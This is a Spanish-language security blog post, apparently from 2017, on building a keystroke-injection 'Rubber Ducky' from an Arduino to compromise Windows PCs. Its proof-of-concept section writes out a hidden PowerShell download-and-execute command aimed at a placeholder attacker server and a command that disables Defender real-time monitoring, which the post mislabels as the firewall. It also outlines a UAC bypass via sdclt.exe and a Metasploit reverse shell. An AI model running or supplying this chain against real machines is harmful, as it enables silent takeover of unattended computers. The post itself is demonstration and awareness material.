viernes, 7 de julio de 2017

Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows

Arducky es una manera de llamar a un Arduino haciendo de Rubber Ducky. Como sabemos, Rubber Ducky es un teclado malicioso envuelto en la forma de un pendrive, de manera que no levanta sospecha y que es capaz de ejecutar comandos de teclado a gran velocidad.


Rubber Ducky no es más que un microcontrolador (AT32UC3B1256) similar al que podemos encontrar en algunas placas Arduino como son la Leonardo, la Esplora o la Micro, que montan un 32u4 y dicho microcontrolador tiene librerías para hacer clics de ratón y pulsaciones de teclado. Es por ello, por lo que no es difícil construirse un Rubber Ducky a base de Arduino y comenzar a cargar diferentes payloads para ver su funcionamiento.

Figura 2: Formato de un Rubber Ducky

Una de las ventajas que tiene Rubber Ducky es que los scripts tienen su propia forma de escribirse, los llamados Ducky Script, y que se almacenan en formato de texto en una tarjeta SD. Sin embargo, en los micros 32u4 hay que adaptarlo a la librería, aunque esto no es muy difícil ya que tenemos a disposición herramientas online y offline para convertir código de Ducky Script a Arduino, como son Duckuino o Ducky2Arduino.

Figura 3: Fragmento de código usado en formato Rubber Script

Como se puede ver los script son muy simples. Las instrucciones indican lo siguiente:
- REM indica comentarios, estas lineas no ejecutan nada. 
- DELAY hace una pausa, en el caso del ejemplo de 3 segundos al principio y más adelante de medio segundo para esperar a que salga la ventana de ejecutar. 
- GUI r es la pulsación de la tecla WIN y la “r”, que sirve para los sistemas operativos Windows para mostrar rápidamente la ventana de ejecutar. 
- STRING es la pulsación de todas las teclas de manera automática y a gran velocidad. 
- ENTER pulsa la tecla enter.
En el caso de utilizar Arduino hay que convertir este código con alguno de los conversores mencionados anteriormente.


PoC: Reverse TCP connection + Fileless BypassUAC

Como hemos visto anteriormente, las acciones que realiza el Arduino son sencillas:

- Simula las pulsaciones de las teclas WIN+R para obtener la ventana ejecutar. 
- Escribe a gran velocidad la ejecución de la siguiente instrucción:
"powershell.exe -W Hidden -C iex (new-object net.webclient).downloadstring('attacker_server')"
Una vez que tenemos la capacidad de ejecutar el comando anterior, necesitamos establecer un método, lo más transparente posible para el usuario, a través del cual podamos tomar el control de la máquina de la víctima. Para ello, se establece el siguiente escenario:

Figura 4: Escenario para la PoC de Arducky

PASO 1: Arduino mediante la capacidad que se la ha proporcionado para ejecutar teclas, escribe la sentencia anterior en la ventana ejecutar.

Figura 5: Comando a ejecutar desde Arduino

PASO 2: Esta sentencia ejecuta una consola Powershell en modo oculto mediante el atributo -W Hidden. El parámetro que se le proporciona iex (new-object net.webclient).downloadstring('attacker_server') nos permite descargar un fichero de un servidor remoto que controlemos y ejecutarlo sin que llegue a guardarse en disco, de tal manera, que cuando termine la ejecución de todos nuestros scripts, ninguno de ellos se quedará en el disco de la víctima.


PASO 3: En este caso, el script que descargaremos y ejecutaremos será el siguiente:

Figura 6: Script de código a ejecutar

Si nos fijamos, el script es muy sencillo. Por una parte, estamos realizando un UAC bypass mediante el binario sdclt.exe para desactivar el firewall de Windows mediante la sentencia:
 Set-MpPreference -DisableRealtimeMonitoring 1
Una vez hemos desactivado el firewall, volvemos a escribir las claves de registro correspondientes y realizamos un segundo bypass, pero esta vez utilizando la técnica de Metasploit web delivery para devolver una conexión reversa como administrador a la máquina del atacante.

Figura 7: PoC de ejecución de Arducky para conseguir control de la máquina

El resultado final es el compromiso total con máximos privilegios del equipo de la víctima en un tiempo de unos pocos segundos, tal y como podemos ver en el vídeo prueba de concepto.


Conclusión

En la prueba que hemos realizado hemos dado otra vida a una placa Arduino UNO flasheando su micro 16u2 para hacer que también este pueda utilizar la librería de teclado de Arduino. El 16u2 es el microcrontrolador que tienen algunos Arduinos (como el UNO y el Mega) que se utilizan como puente entre el USB del ordenador y el puerto serie del microcontrolador principal.

Figura 8: Proyecto HoodLoader 2

Para flashear el microcontrolador 16u2, se puede hacer siguiendo el proyecto HoodLoader2 que de manera sencilla se puede reprogramar y utilizar los dos microcontroladores que nos ofrece la placa. De esta manera, en vez de tener el microcontrolador 16u2 como un conversor USB-Serial se convierte en CDC Serial, pudiendo de esta manera emular teclados y ratones.

Y esto es todo lo que se tiene que realizar para tener un Arducky. Basta con dejar el ordenador descuidado unos segundos para dejar una brecha de seguridad en el equipo.